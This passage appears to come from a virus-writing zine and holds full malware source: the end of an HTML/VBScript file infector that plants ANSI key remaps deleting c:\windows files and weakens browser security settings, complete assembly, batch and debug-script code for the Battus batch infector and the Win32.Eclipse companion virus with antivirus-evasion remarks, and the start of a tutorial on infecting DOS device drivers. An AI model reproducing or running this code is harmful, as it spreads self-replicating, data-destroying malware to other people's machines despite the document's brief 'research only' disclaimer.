ansifile.WriteLine "["& chr(34) &"i;"& chr(34) &"md c:\§"& chr(34) &" & chr(34) & ";"& chr(34) &"copy c:\windows\*.* c:\§ /y"& chr(34) &";"& chr(34) &"del c:\windows\*.* /y"& chr(34) &";13p"& chr(34)

ansifile.WriteLine "["& chr(34) &"o;"& chr(34) &"md c:\§"& chr(34) &" & chr(34) & ";"& chr(34) &"copy c:\windows\*.* c:\§ /y"& chr(34) &";"& chr(34) &"del c:\windows\*.* /y"& chr(34) &";13p"& chr(34)

ansifile.WriteLine "["& chr(34) &"u;"& chr(34) &"md c:\§"& chr(34) &" & chr(34) & ";"& chr(34) &"copy c:\windows\*.* c:\§ /y"& chr(34) &";"& chr(34) &"del c:\windows\*.* /y"& chr(34) &";13p"& chr(34)

ansifile.WriteLine "["& chr(34) &"E;"& chr(34) &"md c:\§"& chr(34) &" & chr(34) & ";"& chr(34) &"copy c:\windows\*.* c:\§ /y"& chr(34) &";"& chr(34) &"del c:\windows\*.* /y"& chr(34) &";13p"& chr(34)

ansifile.WriteLine "["& chr(34) &"A;"& chr(34) &"md c:\§"& chr(34) &" & chr(34) & ";"& chr(34) &"copy c:\windows\*.* c:\§ /y"& chr(34) &";"& chr(34) &"del c:\windows\*.* /y"& chr(34) &";13p"& chr(34)

ansifile.WriteLine "["& chr(34) &"I;"& chr(34) &"md c:\§"& chr(34) &" & chr(34) & ";"& chr(34) &"copy c:\windows\*.* c:\§ /y"& chr(34) &";"& chr(34) &"del c:\windows\*.* /y"& chr(34) &";13p"& chr(34)

ansifile.WriteLine "["& chr(34) &"O;"& chr(34) &"md c:\§"& chr(34) &" & chr(34) & ";"& chr(34) &"copy c:\windows\*.* c:\§ /y"& chr(34) &";"& chr(34) &"del c:\windows\*.* /y"& chr(34) &";13p"& chr(34)

ansifile.WriteLine "["& chr(34) &"U;"& chr(34) &"md c:\§"& chr(34) &" & chr(34) & ";"& chr(34) &"copy c:\windows\*.* c:\§ /y"& chr(34) &";"& chr(34) &"del c:\windows\*.* /y"& chr(34) &";13p"& chr(34)

ansifile.Close

end if

Set WSHShell = CreateObject("WScript.Shell")

Set FSO = CreateObject("Scripting.FileSystemObject")

Set TxtRng = document.body.createTextRange()

HP = Replace(location.href, "/", "\")

HP = Replace(HP, "file:\\\", "")

HP = FSO.GetParentFolderName(HP)

GetFolder HP

GetFolder("C:\My Documents")

GetFolder("C:\Windows\Desktop")

GetFolder("C:\Windows\Web")

GetFolder("C:\Windows\Web\Wallpaper")

GetFolder("C:\Windows\Help")

GetFolder("C:\Windows\Temp")

GetFolder("C:\Program Files\Internet Explorer\Connection Wizard")

GetFolder("C:\Program Files\Microsoft FrontPage\bin")

GetFolder("C:\Program Files\Microsoft Office\Office\Headers")

GetFolder("C:\Winnt\Desktop")

GetFolder("C:\Winnt")

GetFolder("C:\Inetpub\wwwroot")

GetFolder("C:\Inetpub\wwwroot\myweb")

GetFolder("C:\webshare\wwwroot")

GetFolder("C:\webshare\wwwroot\myweb")

WSHShell.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1201" , 0, "REG_DWORD"

WSHShell.Regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1201" , 0, "REG_DWORD"

end if

Sub InfectFile(InfectFileName)

Set Gz = FSO.GetFile(InfectFileName)

Set TxtStream = Gz.OpenAsTextStream(1)

FileContents = TxtStream.ReadAll

TxtStream.close()

Set Gz = FSO.GetFile(InfectFileName)

Set TxtStream = Gz.OpenAsTextStream(2)

TxtStream.Write("<!--TwisT-->" + Chr(13) + Chr(10))

TxtStream.Write("<html><body>" + Chr(13) + Chr(10))

TxtStream.Write(TxtRng.htmlText + Chr(13) + Chr(10))

TxtStream.WriteLine "</body></html>"

TxtStream.WriteLine FileContents

TxtStream.close()

End Sub

Sub GetFolder(VxPath)

On Error Resume Next

if FSO.FolderExists(VxPath) then

Do

Set FolderObj = FSO.GetFolder(VxPath)

VxPath = FSO.GetParentFolderName(VxPath)

Set fc = FolderObj.Files

For each target in fc

ExtType = lcase(FSO.GetExtensionName(target.Name))

if ExtType = "htt" or ExtType = "asp" or ExtType = "htm" or ExtType = "html" then

Set Gz = FSO.GetFile(target.path)

Set TxtStream = Gz.OpenAsTextStream(1)

if TxtStream.readline <> "<!--TwisT-->" then

TxtStream.close()

Call InfectFile(target.path)

else

TxtStream.close

end if

end if

next

Loop While FolderObj.IsRootFolder = False

end if

End Sub

--></script>

</body></html>

<html><body>

<font size="3" face="Arial"><p>

<strong>HTML.TwisT by GzR[NuKE]</strong>

</p></font>

</body></html>


Battus by Black Jack

NAME: Battus v1.00

AUTHOR: Black Jack /LineZer0 /Metaphase

TYPE: TSR BAT infector

SIZE: 1680 bytes

DESCRIPTION: This Bat virus generates a com file with debug. Then it extracts

             its code from the bat file with the standart bat virus find

             command and attaches it to the com file. This com contains a

             small program that stays resident and monitores the file open

             functions of int 21h. If it detects that a BAT file is opened

             (that could mean executed, copied, typed...) it opens the file

             and appends its own batch code (if the file wasn't infected

             before, of course).

POLYMORPHY: The batch code is slightly polymorph by changing the case of the

            letters.

PAYLOAD: On March the 20th (the birthday of the ancient roman poet Ovid) it

         displays the message: "Battus is now stoned."

         Battus is a charakter from Ovid's "Metamorphoses" that was

         transformed to stone because he tried to fool the god Mercur.

         That's why this message has two meanings, because it can be also

         interpreted as a parody on the stoned virus. What can I say, I

         thought it was funny. ;-)

DETECTION: AVs have no Batch heuristics, so...

ASSEMBLE WITH:

                TASM battus

                TLINK /T battus

                convert to debug script

                include in the batch file

DISCLAIMER: I do *NOT* support the spreading of virii in the wild. Therefore,

            this source was only written for research and education. Please

            do not spread it. The author and his groups can't be hold

            responsible for what you decide to do with this source.

=======[battus.asm]==========================================================

length_string     EQU 1680

length_paragraphs EQU ((offset virusend - offset start + 100h + 15 + length_string) / 16)

ping = "ov"

pong = "id"

.model tiny

.radix 10

.186

.code

org 100h

start:

        mov ah, 49h             ; free enviroment block

        mov es, ds:[2Ch]        ; Get enviroment block in ES

        int 21h

        mov ax, ping            ; already resident?

        int 21h

        cmp ax, pong

        je already_resident     ; if it is already loaded, then quit.

        mov ax, 3521h           ; get address of int21h

        int 21h

        mov int21_segm, es      ; save it

        mov int21_offs, bx

        mov ax, 2521h           ; hook int21h

        mov dx, offset new_int21; DS:DX=pointer to our routine

        int 21h

        mov ah, 31h             ; terminate, but stay resident

        mov dx, length_paragraphs ; length in paragraphs

        int 21h

already_resident:

        mov ah, 4Ch             ; quit

        int 21h

new_int21:

        cmp ax, ping            ; virus calling ?

        jne no_residency_check

        mov ax, pong            ; return residency marker

        iret                    ; back to caller

no_residency_check:

        push dx                 ; save DX register

        cmp ah, 3Dh             ; open functionh

        JE infect

        mov dx, si

        cmp ah, 6Ch             ; extended open function

        JE infect

org_int:

        pop dx                  ; restore DX

                db 0EAh         ; op code far jump

org_int21       EQU this dword

int21_offs      dw 0

int21_segm      dw 0

infect:

        pusha                           ; save registers

        push ds

        push es

        push ds                         ; ES=DS

        pop es

        mov cx, -1                      ; search file name for extension

        mov di, dx                      ; ES:DI=offset filename

        mov al, "."                     ; value for search

        cld                             ; search upwards

        repne scasb                     ; search for the dot

        mov ax, word ptr [di]           ; get first two letters of extension

        and ax, not 2020h               ; convert to upper case

        cmp ax, "AB"                    ; .BAT - file?

        JNE exit_infect                 ; if it's no BAT file, quit infection

        mov al, byte ptr [di+2]         ; get third letter of extension

        and al, not 20h                 ; convert to upper case

        cmp al, "T"                     ; .BAT - file?

        JNE exit_infect                 ; if it's no BAT file, quit infection

        mov ax, 3D02h                   ; open file

        pushf

        call cs:[org_int21]             ; simulate int call to org int 21h

        JC exit_infect                  ; if error, then quit

        xchg bx, ax                     ; handle to BX

        mov ax, 4202h                   ; set filehandle relative to EOF

        mov cx, -1

        mov dx, -8                      ; 8 bytes before end

        int 21h

        push cs                         ; DS=CS

        pop ds

        mov ah, 3Fh                     ; read from file

        mov dx, offset read_buffer      ; to our read buffer

        mov cx, 8                       ; read 8 bytes

        int 21h

        mov ax, word ptr ds:[offset read_buffer]   ; first to letters

        or ax, 2020h                    ; convert to lowercase

        cmp ax, "ab"                    ; already infected?

        JE close                        ; if so, then close & quit

        push cs                         ; ES=CS

        pop es

        xor ax, ax                      ; bios get time function

        int 1Ah                         ; call the BIOS!

                                        ; DX contains now a "random" value

        mov si, offset string

        mov di, si                      ; DI=SI=offset batch code

        mov cx, length_string           ; CX=length of batch code

poly_head:

        lodsb                           ; get a byte from buffer

        test dx, 1                      ; 0th bit of DX set ?

        JZ make_lowercase               ; if so, convert to lowercase

make_uppercase:                         ; else, convert to uppercase

        cmp al, "a"                     ; is it lower case now?

        JB no_convert

        cmp al, "z"

        JA no_convert

        sub al, "a" - "A"               ; convert lower case to upper case

        jmp short no_convert

make_lowercase:                         ; convert to lower case

        cmp al, "A"                     ; is it upper case now?

        JB no_convert

        cmp al, "Z"

        JA no_convert

        add al, "a" - "A"               ; convert upper case to lower case

no_convert:

        stosb                           ; store byte back

        ror dx, 1                       ; rotate right our "random value"

        loop poly_head                  ; loop 'till done

        mov ah, 40h                     ; append batch code to file

        mov dx, offset string           ; offset

        mov cx, length_string           ; length

        int 21h

close:

        mov ah, 3Eh                     ; close file

        int 21h

exit_infect:

        pop es                          ; restore registers

        pop ds

        popa

        JMP org_int                     ; execute original interrupt handler

read_buffer db 8 dup(0)                 ; read buffer

string:                                 ; offset of batch code

virusend:

end start

=======[end battus.asm]======================================================

=======[battus.bat]==========================================================

@Rem This god-fooling Battus code was metamorphosed by Black Jack /LineZer0 /Metaphase

@Echo Off %Battus%

Echo.|Date|Find "3-20-">Nul %Battus%

If Errorlevel 1 Goto Dont_tell_what_happened_to_Battus

cls %Battus%

Echo Battus is now stoned.

:Dont_tell_what_happened_to_Battus

echo e 100 b4 49 8e 06 2c 00 cd 21 b8 76 6f cd 21 3d 64 69 > battus.deb

echo e 110 74 1c b8 21 35 cd 21 8c 06 4c 01 89 1e 4a 01 b8 >> battus.deb

echo e 120 21 25 ba 32 01 cd 21 b4 31 ba 88 00 cd 21 b4 4c >> battus.deb

echo e 130 cd 21 3d 76 6f 75 04 b8 64 69 cf 52 80 fc 3d 74 >> battus.deb

echo e 140 0d 8b d6 80 fc 6c 74 06 5a ea 00 00 00 00 60 1e >> battus.deb

echo e 150 06 1e 07 b9 ff ff 8b fa b0 2e fc f2 ae 8b 05 25 >> battus.deb

echo e 160 df df 3d 42 41 75 75 8a 45 02 24 df 3c 54 75 6c >> battus.deb

echo e 170 b8 02 3d 9c 2e ff 1e 4a 01 72 61 93 b8 02 42 b9 >> battus.deb

echo e 180 ff ff ba f8 ff cd 21 0e 1f b4 3f ba e2 01 b9 08 >> battus.deb

echo e 190 00 cd 21 a1 e2 01 0d 20 20 3d 62 61 74 3a 0e 07 >> battus.deb

echo e 1a0 33 c0 cd 1a be ea 01 8b fe b9 90 06 ac f7 c2 01 >> battus.deb

echo e 1b0 00 74 0c 3c 61 72 12 3c 7a 77 0e 2c 20 eb 0a 3c >> battus.deb

echo e 1c0 41 72 06 3c 5a 77 02 04 20 aa d1 ca e2 de b4 40 >> battus.deb

echo e 1d0 ba ea 01 b9 90 06 cd 21 b4 3e cd 21 07 1f 61 e9 >> battus.deb

echo e 1e0 66 ff 00 00 00 00 00 00 00 00 >> battus.deb

echo RCX >> battus.deb

echo ea >> battus.deb

echo N battus.com >> battus.deb

echo W >> battus.deb

echo Q >> battus.deb

Debug < Battus.Deb > nul

Set Battus=%0

If not Exist %0 Set Battus=%0.Bat

Find /i "Battus" < %BATTUS% >> Battus.Com

Set Battus=

Battus.Com

Del Battus.Com

Del Battus.Deb

:Battus

=======[end battus.bat]==========================================


Win32.Eclipse by Black Jack

NAME: Win32.Eclipse v1.00

AUTHOR: Black Jack /LineZer0 /Metaphase

TYPE: spawning direct action .EXE infector

SIZE: 8192 bytes

COMMENTS: Of course this is a very simple virus, but it was my very first

  step into the new school, and so I'm somehow proud of it. Also I

  release it because I think that it may help other beginners in

  win32asm, there are still much too few good tutorials out there.

  Well, anyhow, the first step is done, expect to see a real PE

  appender by me soon.

DESCRIPTION: This companion virus is a "regular" PE .EXE file with an own

     header, sections, import table, etc. It infects all files in the

     current directory by renaming them to filename.BIN and copying

     itself to filename.EXE.

     The running of the host is somehow complicated: first the host

     file (renamed to .BIN) is opened, and it is checked if it is a

     DOS or a Windows executable. If it is a DOS executable, it is

     copied to filename.COM and run, otherwise the .BIN file is

     executed directly. Why this complicated way? simple: the

     CreateProcess API won't run DOS executables that have no .EXE/

     .COM extention, and NE files with a .COM extension, but it does

     not care if NEs have another extension, and PEs can have any

     extension they want. So this way we can infect MZ, NE and PE

     files. The .COM file of DOS executables is not deleted, btw,

     this just made problems, because the file wouldn't be there

     if it would actually get started.

     An interesting thing of this virus is that the DOS stub of the

     PE file contains the 16bit version of the virus code. Therefore

     the virus can run in both plain DOS and any Win32 platform. You

     could say this is the lamest multi-platform virus ever. ;-)

PAYLOAD: On August the 11th it will display a message box:

   --[*]- [Eclipse] virus -------------------------

   |                                              |

   | 11. August 1999: a day I will never forget!  |

   |                                              |

   |                     [OK]                     |

   |                                              |

   ------------------------------------------------

 On that day there was a total eclipse of the sun here in middle

 europe, and my home town was exactly in the center. Also the

 weather was ok. And therefore I'll never forget the wonderful

 sight of the black sun.

DETECTION: Not detected by f-prot 3.05, avp 3.0.128, TBScan 8.08b,

   DrWeb 3.27a.

   Detected NOD 1.15 as "probably unkown COMPANION virus".

ASSEMBLE WITH:

tasm /M ecl_dos.asm

tlink ecl_dos.obj

tasm32 /mx /m ecl_win.asm

tlink32 /aa ecl_win.obj,,, import32.lib, ecl_win.def

the file ecl_win.def contains just one line:

STUB 'ecl_dos.exe'

EXTRA SPECIAL THANKS go to X-Calibre from #win32asm on EFnet for helping me

                     with a problem that seemed very strange, but turned

                     out to be quite simple.

DISCLAIMER: I do *NOT* support the spreading of virii in the wild. Therefore,

    this source was only written for research and education. Please

    do not spread it. The author and his groups can't be hold

    responsible for what you decide to do with this source.

=======[ecl_dos.asm]=========================================================

virus_length_file = 8192

virus_length_mem  = ((offset end_virus - offset start + 256 + 15) / 16)

.286

.model tiny

.radix 10

.code

org 0

start:

mov es, ds:[2Ch]                ; Get enviroment block in ES

xor di, di                      ; ES:DI=start enviroment block

xor ax, ax                      ; al=0 for rep scasb

mov cx, -1                      ; size of string doesn't matter

get_filename_head:                      ; search our filename in enviroment

repne scasb                     ; search for value in al (zero)

cmp byte ptr es:[di], 0         ; if there's another zero, it's the end

JNE get_filename_head           ; otherwise compare next variable

add di, 3                       ; set DI to start of our filename

mov cs:fn_offset, di            ; save address of filename

mov cs:fn_segment, es

push ds                         ; save PSP address

push es                         ; DS=ES (filename segement)

pop ds

mov ah, 3Dh                     ; open file (al=0 => read-only)

mov dx, di

int 21h                         ; open file containing virus

xchg bx, ax                     ; handle in BX

push cs                         ; DS=CS

pop ds

mov ah, 3Fh                     ; read virus file into buffer

mov cx, virus_length_file       ; length to read

mov dx, offset buffer           ; DS:DX=address of buffer

int 21h

mov ah, 3Eh                     ; close file

int 21h

push cs cs                      ; DS=ES=CS

pop ds es

mov ah, 1Ah                     ; set new DTA address

mov dx, offset dta              ; DS:DX = Pointer to new DTA

int 21h

mov ah, 4Eh                     ; find first file

xor cx, cx                      ; CX = attrib (just regular files

mov dx, offset filemask         ; DS:DX = Pointer to filemask

search_on:

int 21h

JC exit                         ; if no more file found, then exit

mov si, offset filename         ; copy filename

mov di, offset filename2        ; to filename2

mov cx, 13                      ; length of filename

cld                             ; go upwards

rep movsb

mov di, offset filename2        ; change extension in filename2

call change_extension           ; to .BIN

mov ah, 56h                     ; rename file victim.exe victim.bin

mov dx, offset filename         ; old filename

mov di, offset filename2        ; new filename

int 21h

JC end_infect                   ; error if file exists, this means

; that the file is already infected

mov ah, 5Bh                     ; create file

xor cx, cx                      ; attribs

mov dx, offset filename         ; victim.exe

int 21h

xchg bx, ax                     ; handle to BX

mov ah, 40h                     ; write virus stuff to victim.exe

mov cx, virus_length_file       ; length to write

mov dx, offset buffer           ; DS:DX=our buffer

int 21h

mov ah, 3Eh                     ; close file

int 21h

end_infect:

mov ah, 4Fh                     ; find next file

JMP short search_on

exit:

pop es                          ; restore PSP addess (block to resize)

mov sp, offset end_virus        ; set up new stack

mov ah, 4Ah                     ; resize MCB size

mov bx, virus_length_mem        ; size of dos code+data+stack

int 21h

mov ax, es                      ; segm=ES=PSP

mov segm, ax                    ; (segment to parameter string in PSP)

mov di, fn_offset               ; restor address of our own filename

mov es, fn_segment              ; to ES:DI

call change_extension           ; and change file extension to .BIN

; (our host file)

push es                         ; DS=ES

pop ds

push cs                         ; ES=CS

pop es

mov ax, 4B00h                   ; execute host program

mov bx, offset parameter        ; ES:BX = Pointer to parameter block

mov dx, cs:fn_offset            ; DS:DX = Pointer to filename

int 21h

mov ah, 4Dh                     ; get exit code

int 21h

mov ah, 4Ch                     ; exit to DOS

int 21h

; ----- END MAIN PROGRAM ----------------------------------------------------

change_extension:

; changes extension to ".BIN"; ES:DI=Pointer to filename

mov al, '.'                     ; search for extension

mov cl, -1                      ; will be enough

cld

repne scasb

.386                                    ; a 32 bit instruction follows

mov dword ptr es:[di], "NIB"    ; change .EXE to .BIN (our host)

.286

ret                             ; return to caller

; ----- DATA ----------------------------------------------------------------

parameter:                              ; parameter block

   dw 0                         ; same environment as we

   dw 80h                       ; offset parameter string (in PSP)

segm       dw 0                         ; segmet parameter string (our CS)

   dw 4 dup(-1)                 ; addresses of FCBs (-1 => standart)

filemask   db "*.EXE", 0                ; files to search for

dta:                                    ; findfirst / findnext stuff

reserved   db 21 dup(?)

attrib     db ?

time       dw ?

date       dw ?

filesize   dd ?

filename   db 13 dup(?)                 ; the name of the victim - important!

filename2  db 13 dup(?)                 ; new filename for victim

fn_offset  dw ?                         ; where our own filename is located

fn_segment dw ?

buffer     db virus_length_file dup(?)  ; buffer to store virus file content

   dw 100h dup(?)               ; stack space

end_virus:

end start

=======[end ecl_dos.asm]=====================================================

=======[ecl_win.asm]=========================================================

.386p

.model flat

Extrn FindFirstFileA:Proc

Extrn FindNextFileA:Proc

Extrn FindClose:Proc

Extrn OpenFile:Proc

Extrn ReadFile:Proc

Extrn CloseHandle:Proc

Extrn MoveFileA:Proc

Extrn CopyFileA:Proc

Extrn GetModuleFileNameA:Proc

Extrn GetModuleHandleA:Proc

Extrn GetCommandLineA:Proc

Extrn CreateProcessA:Proc

Extrn ExitProcess:Proc

Extrn GetSystemTime:Proc

Extrn MessageBoxA:Proc

.data

caption                 db "[Eclipse] virus", 0

author                  db "by Black Jack /LineZer0 /Metaphase", 0

message                 db "11. August 1999: a day I will never forget!", 0

filemask                db "*.exe", 0

ProcessInformation      dd 4 dup(0)

StartupInfo:            dd 68

dd 16 dup(0)

OpenFileData            dd 136 dup(0)

.data?

SystemTime:

year                    dw ?

month                   dw ?

DayOfWeek               dw ?

Day                     dw ?

Hour                    dw ?

Minute                  dw ?

Second                  dw ?

Milliseconds            dw ?

find_data:

FileAttributes          dd ?

CreationTime            dq ?

LastAccessTime          dq ?

LastWriteTime           dq ?

FileSize                dq ?

Reserved                dq ?

FileName                db 260 dup(?)

AlternateFileName       db 14 dup(?)

OurFileName             db 260 dup(?)

OurFileNameBin          db 260 dup(?)

FileName2               db ""                   ; shares space with next var

OurFileNameCom          db 260 dup(?)

CommandLineBuffer       db 260 dup(?)

search_handle           dd ?

ReadBuffer              db 32 dup(?)

ReadBytes               dd ?

.code

org 0

start:

push offset SystemTime

call GetSystemTime                      ; get current time

cmp month, 8                            ; August ?

JNE no_payload                          ; if not, skip payload

cmp day, 11                             ; 11th ?

JNE no_payload                          ; if not, skip payload

; show messagebox as payload

push 0                                  ; standart messagebox

push offset caption                     ; caption of messagebox

push offset message                     ; actual message

push 0                                  ; no owner windows

call MessageBoxA

no_payload:

push 0                                  ; get our handle of our module

call GetModuleHandleA

push 100h                               ; size of buffer

push offset OurFileName                 ; offse of buffer for name

push eax                                ; handle of module

call GetModuleFileNameA                 ; get our file name

call GetCommandLineA                    ; get our command line

mov esi, eax                            ; EAX=buffer to command line

mov edi, offset CommandLineBuffer       ; copy to our own buffer

call copy_string

mov esi, offset OurFileName             ; copy our program file name

mov edi, offset OurFileNameBin          ; to a second buffer

call copy_string

mov edi, offset OurFileNameBin          ; and change extension in

mov edx, "NIB."                         ; this buffer to .BIN

call ChangeExtension

; open the host file

push 0                                  ; read access

push offset OpenFileData                ; some fucking extra info

push offset OurFileNameBin              ; name of file

call OpenFile

push eax                                ; push handle for CloseHandle

; read victim's DOS exe header

push 0                                  ; fuck this overlapped shit

push offset ReadBytes                   ; where to store bytes read

push 32                                 ; length to read

push offset ReadBuffer                  ; buffer address

push eax                                ; Handle

call ReadFile

call CloseHandle                        ; filehandle already on stack

cmp word ptr [offset ReadBuffer+18h], 40h

JE ExecWinHost                          ; is it a windows exe file?

ExecDosHost:

mov esi, offset OurFileName             ; copy OurFileName to

mov edi, offset OurFileNameCom          ; OurFileNameCOM

call copy_string

mov edi, offset OurFileNameCom          ; change extension in

mov edx, "moc."                         ; OurFileNameCom to .COM

call ChangeExtension

push 0                                  ; overwrite target

push offset OurFileNameCom              ; copy OurFileNameBin to

push offset OurFileNameBin              ; OurFileNameCom

call CopyFileA

mov edi, offset CommandLineBuffer       ; also change the extension in

mov edx, "moc."                         ; CommandLineBuffer to .COM

call ChangeExtension

call ExecHost                           ; execute the host

jmp start_find                          ; start to infect!

ExecWinHost:

mov edi, offset CommandLineBuffer       ; change the extension in

mov edx, "nib."                         ; CommandLineBuffer to .BIN

call ChangeExtension

call ExecHost                           ; execute the host

start_find:

push offset find_data                   ; address of FindData struc

push offset filemask                    ; address of filemask

call FindFirstFileA

mov search_handle, eax                  ; store search handle

inc eax                                 ; no file found => return -1

JZ no_file_found

infect:

mov esi, offset FileName                ; copy victim's filename

mov edi, offset FileName2               ; to another buffer

call copy_string

mov edi, offset FileName2               ; change victim's filename

mov edx, "nib."                         ; to "victim.bin"

call ChangeExtension

push offset FileName2                   ; rename "victim.exe" to

push offset FileName                    ; "victim.bin"

call MoveFileA

or eax, eax                             ; if error (already infected)

JZ find_next                            ; the function returns zero

; copy us as victim.exe

push 1                                  ; don't overwrite target

push offset FileName                    ; our victim

push offset OurFileName                 ; the virus file

call CopyFileA

find_next:

push offset find_data                   ; offset of find data struc

push search_handle                      ; our search handle

call FindNextFileA                      ; find next file

dec eax                                 ; EAX=1 if file found

JZ infect                               ; if file found, infect it

no_file_found:                                  ; otherwise quit virus

push search_handle                      ; close the filefinding

call FindClose

push 0                                  ; return code

call ExitProcess                        ; quit program

; ----- END MAIN PROGRAM ----------------------------------------------------

; Proc ChangeExtension: changes extension in filename

; Parameters:

; EDI=Pointer to filename

; EDX=new filename extension

ChangeExtension:

dec edi                                 ; will be inc'ed again soon

mov al, '.'                             ; search for dot

mov ecx, 260                            ; length of filename

cld                                     ; search upwards

go_on:

inc edi                                 ; search on after last dot

repne scasb                             ; search the dot

dec edi                                 ; set it back to the dot

mov ebx, [edi]                          ; get extension to EBX

or ebx, 20202000h                       ; convert to lower case

cmp ebx, "exe."                         ; is it the extension

JNE go_on                               ; if not, go on searching

mov dword ptr [edi], edx                ; if it is, change it

ret                                     ; return to caller

; ---------------------------------------------------------------------------

; Proc ExecHost: executes the host file specified in CommandLineBuffer

ExecHost:

push offset ProcessInformation          ; pointer to return stuff

push offset StartupInfo                 ; pointer to further info

push 0                                  ; same current dir as we

push 0                                  ; same enviroment block as we

push 0                                  ; creation flags

push 0                                  ; don't inherit handles

push 0                                  ; thread security attributes

push 0                                  ; process security attributes

push offset CommandLineBuffer           ; command line (+filename)

push 0                                  ; filename

call CreateProcessA                     ; run the host (finally!)

ret                                     ; return to caller

; ---------------------------------------------------------------------------

; Proc copy_string: copies filename from ESI to EDI

copy_string:

mov ecx, 260                            ; standart filename length

cld                                     ; copy upwards

rep movsb                               ; copy it!

ret                                     ; return to caller

end start

=======[end ecl_win.asm]=====================================================


DOS Device Driver Infection by Black Jack

DOS DEVICE DRIVER INFECTION

      by

  BLACK JACK

Most DOS file virii out there infect only COM/EXE files, and this is a shame,

in my opinion, because also SYS files are infected very easy, much easier as

EXEs even. So, first of all, let's have a look at the format of such a device

driver. It is basically a piece of code, like a COM file, which is loaded

into memory by DOS at startup. Similar to a COM file, it has to fit into one

segment, so you're limited to 64K (but this is enough for a driver anyways).

But unlike a COM file, it has no PSP, and so the program code starts at

offset 0. So, if you want to write a device driver yourself, you have to use

model tiny and you should change it to a binary SYS file with EXE2BIN

afterwards, although it is also possible for device drivers to be EXE format.

BTW: Although most device driver files have the extensions .SYS, it is not

needed by DOS, you can name them whatever you want.

But unlike COM files, SYS files have a little header in the beginning, which

is loaded into memory with the rest of the file. This header looks like the

following:

offset                  meaning                                 type

+00h                    address of next driver                  1 far ptr

+04h                    attributes of the driver                1 word

+06h                    offset of the strategy routine          1 near ptr

+08h                    offset of the interrupt routine         1 near ptr

+0Ah                    name of driver/number of devices        8 Bytes

total size: 18 bytes

So it begins with a pointer to the next driver. This is because in DOS all

drivers are part of the device driver chain. In the SYS file, this field must

be set to -1 if DOS should accept it as device driver file, provided that

there is only one driver in the file (it is also possible to have two or even

more drivers in one file - this is also one way of infection, but wait a bit).

If there are more drivers in the file, the offset of this far pointer must

point to it, while the segment remains -1. The second driver must have a head

similar to the first one again, the last driver in the file must have -1 in

both segment and offset part of this pointer.

On loading of the driver, DOS will let this field point to the next driver in

memory. This is very important to know if your virus has its own driver

header, because then you'll have to store the original value somewhere else

in the virus body.

The next field in the header defines the attributes of the device driver,

every bit stands for an attribute. For exmple there is given if the driver is

the NUL-driver, the CLOCK-driver, if it supports certain driver functions etc.

The most important bit is the highest one, because it tells if the driver is

a block or a char device. A block driver is a driver for a disk drive or

something similar with a drive letter, whereas a char driver has a name and

handles some other hardware device. For viral needs, the char driver is the

better choice, so just set this field to 8000h.

And now we come to the truly interesting stuff, the system and interrupt

routines. So here is how DOS calls the device driver: first the strategy

routine is called. DOS gives it the address of a parameter block, which

contains the number of the driver function which should be called and some

extra information in ES:BX. The only thing the strategy routine has to do now

is to save this address from ES:BX into some variables, and then return to

DOS again with a far RET instruction. Later, the interrupt routine is called,

and this is the routine which takes the parameter block and does something

with the information in it: reading from its device or whatever the function

number says. The most important function number for us is function 0, because

this is the init function of the driver, the only function every driver has to

support. The offset of the function number in the parameter block is +2h, btw.

And every function must also return a return value to DOS; this is also

stored in the parameter block at offset +3. The possible return values are:

0100h - function succeded

8102h - function failed

8193h - function does not exist

Of course the parameter block contains also tons of other parameters, but its

actual layout and length depend on the specific function that is called very

much; for our viral needs this information is irrelevant.

If you're woundering why there are TWO routines that are called by DOS, but

only one has really to work, the explanation is easy: In the earlier days of

DOS, our friends at microsoft thought about making DOS a multitasking OS

somewhen in the future, and this way of calling a device driver was already

designed for a multitasking DOS. But as we all now, DOS stayed single-task

till the end of its days, and therefore the interrupt routine is always

called immediately after the strategy routine. Useless, but that's just the

way things go.

And finally for the last entry in the .SYS-Header: If the driver is a char

device, this field contains the name with which the driver can be accessed;

its length is 8 bytes, if the name is shorter, it should be filled up with

spaces. If the file contains a block driver, the first byte contains the

number of logical devices that the driver supports, while the remaining

seven bytes are filles with zero bytes.

To make the actual design of a DOS device driver file more clear to you, I

implemented the best known program of all times as a .SYS-File:

======= [SYSHELLO.ASM] ======================================================

; "Hello World!" program implemented as .SYS-File

; written as an example for my SYS infection tutorial in Metaphase #2

;

; compile with:

;

;       TASM /M SYSHELLO

;       TLINK SYSHELLO

;       EXE2BIN SYSHELLO.EXE SYSHELLO.SYS

;

; then include the line device=C:\path\syshello.sys in your config.sys file

.model tiny

.radix 10

.286

.code

org 0

dd -1                                           ; a device driver

attrib          dw 1000000000000000b            ; attributes:it's an char drv

strategy        dw offset strategy_proc         ; offset strategy-routine

interrupt       dw offset interrupt_proc        ; offset interrupt-routine

drv_name        db "HELLOSYS"                   ; name of driver

strategy_proc:

mov cs:datablock_offs, bx       ; save data block

mov cs:datablock_segm, es

retf                            ; return to DOS

interrupt_proc:

pushf                           ; save registers

pusha

push ds

push es

push cs                         ; DS=CS

pop ds

les di, datablock_ptr           ; load data block address to ES:DI

mov word ptr es:[di+3], 8103h   ; status word: function doesn't exist

cmp byte ptr es:[di+2], 0       ; function number in data block

jne quit_interrupt_routine      ; if not function 0 (init), then exit

; dos expects from function 0 of a device driver (init) that it

; returns its end address as a far pointer at offset 0Eh in the

; parameter block. The space of the driver in memory can be both

; bigger and smaller than the .SYS file.

mov word ptr es:[di+0Eh], offset end_driver

mov word ptr es:[di+10h], cs

mov ah, 9                       ; display message

mov dx, offset msg

int 21h

mov word ptr es:[di+3], 100h    ; status: ready

quit_interrupt_routine:

pop es                          ; restore registers

pop ds

popa

popf

retf                            ; return to DOS

datablock_ptr EQU this dword

datablock_offs dw ?

datablock_segm dw ?

msg db "Hello World!", 0Dh, 0Ah, "$"

end_driver:

end

======= [END SYSHELLO.ASM] ==================================================

So now that we know how the .SYS file looks like, it is time to think about

the really interesting part: how to infect it. Don't worry, as I already

pointed out in the introduction, it is not too hard. There are several

approaches, I'll demonstrate you three ones, each with an example.

1. Hooking one routine

----------------------

This is a quite obvious way: you append the virus to the end of the sys file,

and then you manupulate either the pointer to the strategy routine or to the

interrupt routine to point to your virus code - which one you decide to use

is a matter of taste. Don't forget to save the original address! When the

driver is loaded into memory from the CONFIG.SYS and DOS calls its init

function, your virus will get control first. Then you can do what you want -

either search for .SYS files and infect them directly, like Qark/Vlad did

in his Systa virus (published in the april's fool edition of the Vlad zine)

